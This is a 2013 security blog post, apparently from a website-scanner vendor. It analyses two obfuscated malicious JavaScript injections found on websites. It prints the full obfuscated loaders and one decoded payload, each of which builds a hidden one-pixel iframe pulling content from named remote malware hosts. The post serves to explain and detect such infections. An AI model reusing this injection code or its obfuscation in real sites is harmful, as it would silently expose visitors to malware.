Sunday, August 18, 2013

Two obfuscated malicious JavaScript analysis as detected on websites

Obfuscated malicious JavaScript code samples analysis 

Quttera online website scanner. Malicious JavaScript detected on website.
Quttera online website scanner. Malicious JavaScript detected on website. 

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.

This post shows analysis breakdown of two JavaScript files and their malicious payloads. Both samples inject hidden iframe to malicious target executing malicious .php from the remote server.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Sample 1 

Malware entry


Malware entry details.

Beautified script

  1. var VeQM;
  2. var xBQdHr;
  3. var bZDep = 'yRqJ';
  4. if ('xsYL' == 'XEBKj') oHdBFL = 'OvfAIR';
  5.  
  6. function lMchhr() {}
  7. if ('xTTX' == 'bjlV') qXYO();
  8. var eXpcWQX = "\x66ro\x6d\x43harCode";
  9. var PiaPr;
  10. var zPKoP = 162;
  11. var px0_var = "0px";
  12. var tDLo = 'noeX';
  13. var hZkmb = "pa\x72seIn\x74";
  14. var MOwN = 279;
  15. var appVersion_var = "a\x70\x70Version";
  16. var GfrLcV;
  17. var mMyDLv = 268;
  18. var oJyWtFC = "bo\x64\x79";
  19. var MzkStJ;
  20. var LQRx = 'YvZrr';
  21. var EIpRgmLbl = "ap\x70e\x6edC\x68ild";
  22. var aQdP = 245;
  23.  
  24. function LBEXN() {
  25.     var mjghS = 'QZkm';
  26.     if ('Feourr' == 'RKwRp') OXzNS();
  27. }
  28. var jHgyFfTIn = "";
  29. var CJTP = 287;
  30.  
  31. function USeK() {
  32.     var KLTDp = 'kMPj';
  33.     if ('uYHdj' == 'zmbW') knqs();
  34. }
  35. var lqhqVU = "sl\x69\x63\x65";
  36. var sxCwiC = 298;
  37. if ('ehayhP' == 'Jwknz') gpSDUc();
  38.  
  39. function ckzmT() {}
  40. var NJYHu = "c\x6fnstruc\x74or";
  41. var JzNKjt;
  42. var px1_var = "1\x70x";
  43.  
  44. function lcrz() {}
  45. var HCpvEl = 'MIoKN';
  46. var CkgohhO = "95a1a19d675c5ca0908e9b5a969d5b969b939c67656060655c9f9d877599726c786e6f75756a5f";
  47. var FHxJGnKjc = (function () {
  48.     function CXabop() {
  49.         var jomm = 'LKxA';
  50.         if ('kjSR' == 'GfeI') zkMizf();
  51.     }
  52.     return this;
  53.     if ('Vsgjtn' == 'eMbPl') mqlcb();
  54.     var qkyBU = 132;
  55. })();
  56. var mnyOzn = 'ZSQbO';
  57. if ('pwgRah' == 'GsWD') QZRrz = 'EBJK';
  58. var gMoEyb = "kGhZQeZjC" [NJYHu];
  59.  
  60. function EpiUN() {}
  61. if ('otYbb' == 'IOPshi') mHAp = 'dsnc';
  62. if ('LIHq' == 'kOgz') BvDvu = 'uwgXCw';
  63. for (var kVCHvwml = 0; kVCHvwml < CkgohhO.length; kVCHvwml += 2) {
  64.     if ('ybGs' == 'ipeNHB') OjKWB = 'UqjN';
  65.     TRbFXwbK = FHxJGnKjc[hZkmb](CkgohhO[lqhqVU](kVCHvwml, kVCHvwml + 2), 16) - 45;
  66.  
  67.     function igqbe() {}
  68.     var eEhu = 119;
  69.     jHgyFfTIn += gMoEyb[eXpcWQX](TRbFXwbK);
  70.     var grOV = 23;
  71.  
  72.     function WTTn() {}
  73. }
  74. if ('hAxNZh' == 'MezKBv') MSlLR();
  75. var IxbRCx;
  76. var bpNO = 200;
  77.  
  78. function yfJky() {}
  79.  
  80. function JzJvM() {}
  81. var umBOo = "MwNRBQFfi";
  82. var albmBu;
  83. var yIJj = 288;
  84.  
  85. function wVAfYw() {
  86.     var AqzR = 'QLlI';
  87.     if ('aasUBg' == 'mwXyRp') AKyt();
  88. }
  89.  
  90. function synwnk() {
  91.     var ddiCRN = 'xsTY';
  92.     if ('hmtfn' == 'JsuR') SkgCL();
  93. }
  94. var GGjHN = "";
  95. if ('zZOQ' == 'AXlkq') xqUzq = 'eDam';
  96.  
  97. function IXxBrr() {
  98.     var QDtg = 'VnNn';
  99.     if ('ggkJl' == 'wwuXG') FqVBKy();
  100. }
  101. if ('jReiD' == 'YghsO') eoXFC = 'wSKmL';
  102. if (navigator[appVersion_var].indexOf("MSIE") != -1) {
  103.     function wjtm() {
  104.         var ZWfBcz = 'YYRVlN';
  105.         if ('sYuv' == 'EWRa') ADDV();
  106.     }
  107.  
  108.     function sIODK() {}
  109.     GGjHN = '<iframe name="' + umBOo + '" src="' + jHgyFfTIn + '">';
  110.  
  111.     function JiTMLW() {}
  112.     var QVRtn = 74;
  113. } else {
  114.     function piupiR() {}
  115.     var cNSfl = 212;
  116.     GGjHN = 'iframe';
  117.     var uXddmy;
  118. }
  119.  
  120. function cFYoS() {
  121.     var gyUj = 'HzdzG';
  122.     if ('axdK' == 'myYo') fAnOm();
  123. }
  124. var hfZFQR = document.createElement(GGjHN);
  125. if ('DQubT' == 'wwGra') aalr = 'sOzX';
  126. hfZFQR.ydTrwWCYM = function () {
  127.     function uYgYUc() {
  128.         var TSrUh = 'aKkgoA';
  129.         if ('WjDuh' == 'rJtqz') wozgc();
  130.     }
  131.     this["src"] = jHgyFfTIn;
  132.     var VOEZA = 190;
  133. }
  134. var vYNmcI;
  135. hfZFQR.style.top = px0_var;
  136. var WNEAiy;
  137. var ukiROj;
  138. if ('msxom' == 'lpPU') zXcazx();
  139. hfZFQR.name = umBOo;
  140. var nymGld;
  141. var vpKu = 186;
  142.  
  143. function SCAn() {
  144.     var fuarVL = 'QNbrAv';
  145.     if ('JMdxEr' == 'QVoki') pOxkvZ();
  146. }
  147. hfZFQR.style.position = "absolute";
  148. if ('aGLa' == 'IsAhK') uIzo();
  149. hfZFQR.ydTrwWCYM();
  150. var oJijV = 102;
  151.  
  152. function mUdL() {
  153.     var luWHqR = 'MldjiX';
  154.     if ('rRXqV' == 'uJdH') VCGIYv();
  155. }
  156. hfZFQR.style.right = px0_var;
  157. if ('QPpw' == 'FIUoA') kogk();
  158. hfZFQR.style.height = px1_var;
  159. var PYJDr = 45;
  160. var NqCS = 'YTqIj';
  161. if ('AgSI' == 'nkKnp') UDCDDX();
  162. var nMfHlm;
  163. hfZFQR.style.width = px1_var;
  164. var oDDKaC = 121;
  165. if ('zRMjck' == 'eoAsNP') Miqxp = 'enRxzZ';
  166. if ('NbsSj' == 'yToZQW') gcKQM = 'EDBPs';
  167.  
  168. function OjEvOLtG() {
  169.     var hxIYz;
  170.     if (document[oJyWtFC]) {
  171.         function iGOSi() {
  172.             var ybpjF = 'NluXec';
  173.             if ('ZWzVQg' == 'uVKmMO') SBzDk();
  174.         }
  175.         if ('dhvw' == 'RaNQp') hlVG();
  176.         var document_body_var = document[oJyWtFC];
  177.         var PNFBo = 298;
  178.         var uuGOXi = 'UJvg';
  179.         var BowMMV;
  180.         document_body_var[EIpRgmLbl].apply(document_body_var, [hfZFQR]);
  181.     } else {
  182.         setTimeout(OjEvOLtG, 120);
  183.  
  184.         function xbtk() {
  185.             var kVEvu = 'NQjQ';
  186.             if ('EbXM' == 'iedJ') gbBt();
  187.         }
  188.     }
  189.  
  190.     function QaiIVA() {}
  191.     if ('RmsJ' == 'olhuJ') UVQefL = 'HZTnQi';
  192.     var YCqPF = 273;
  193. }
  194. OjEvOLtG();
  195. if ('xWYZ' == 'PSoVI') TBalP = 'iVLo';
  196. var HnpBT;
  197. if ('BtGW' == 'vAKjp') uyWrgK = 'nVLq';
  198.  

Malicious payload


Decoded payload generates hidden iframe to http://jureetse.ru/count25.php

Sample 2 

Malware entry


Malware entry details.

Beautified script

  1. try {
  2.     if (window.document)--document.getElementById('12')
  3. } catch (qq) {
  4.     if (qq != null) ss = eval("St" + "ring");
  5. }
  6. ="74837c7182777d7c2e88888874747436372e89182e846f802e767180722e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e767180723c8180712e4b2e357682827e483d3d8585853c6f8172847d7a7a7387403e3f3e3c77823d7175773b70777c3d5b84447b427867593c7e767e3549182e767180723c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e767180723c8182877a733c707d807273802e4b2e353e3549182e767180723c8182877a733c7673777576822e4b2e35477e863549182e767180723c8182877a733c85777282762e4b2e35457e863549182e767180723c8182877a733c7a7374822e4b2e353f7e863549182e767180723c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635767180723537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35767180726a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c825087577236357671807235373c6f7e7e737c725176777a7236767180723749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";
  7. = [];
  8. for (= 0; i < a.length; i += 2) {
  9.     z.push(parseInt(a.substr(i, 2), 16) - 14);
  10. }
  11. eval(ss["fr" + "omCharCode"].apply(ss, z));

Malicious payload


Decoded payload generates hidden iframe to http://www.asdvolley2010.it/cgi-bin/Mv6m4jYK.php

  1. function zzzfff() {
  2.  var hcrd = document.createElement('iframe');
  3.  
  4.  hcrd.src = 'http://www.asdvolley2010.it/cgi-bin/Mv6m4jYK.php';
  5.  hcrd.style.position = 'absolute';
  6.  hcrd.style.border = '0';
  7.  hcrd.style.height = '9px';
  8.  hcrd.style.width = '7px';
  9.  hcrd.style.left = '1px';
  10.  hcrd.style.top = '1px';
  11.  
  12.  if (!document.getElementById('hcrd')) {
  13.  document.write('<div id=\'hcrd\'></div>');
  14.  document.getElementById('hcrd').appendChild(hcrd);
  15.  }
  16. }
  17. function SetCookie(cookieName,cookieValue,nDays,path) {
  18.  var today = new Date();
  19.  var expire = new Date();
  20.  if (nDays==null || nDays==0) nDays=1;
  21.  expire.setTime(today.getTime() + 3600000*24*nDays);
  22.  document.cookie = cookieName+"="+escape(cookieValue)
  23.  + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  24. }
  25. function GetCookie( name ) {
  26.  var start = document.cookie.indexOf( name + "=" );
  27.  var len = start + name.length + 1;
  28.  if ( ( !start ) &&
  29.  ( name != document.cookie.substring( 0, name.length ) ) )
  30.  {
  31.  return null;
  32.  }
  33.  if ( start == -1 ) return null;
  34.  var end = document.cookie.indexOf( ";", len );
  35.  if ( end == -1 ) end = document.cookie.length;
  36.  return unescape( document.cookie.substring( len, end ) );
  37. }
  38. if (navigator.cookieEnabled)
  39. {
  40. if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
  41.  
  42. zzzfff();
  43. }
  44. }

Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.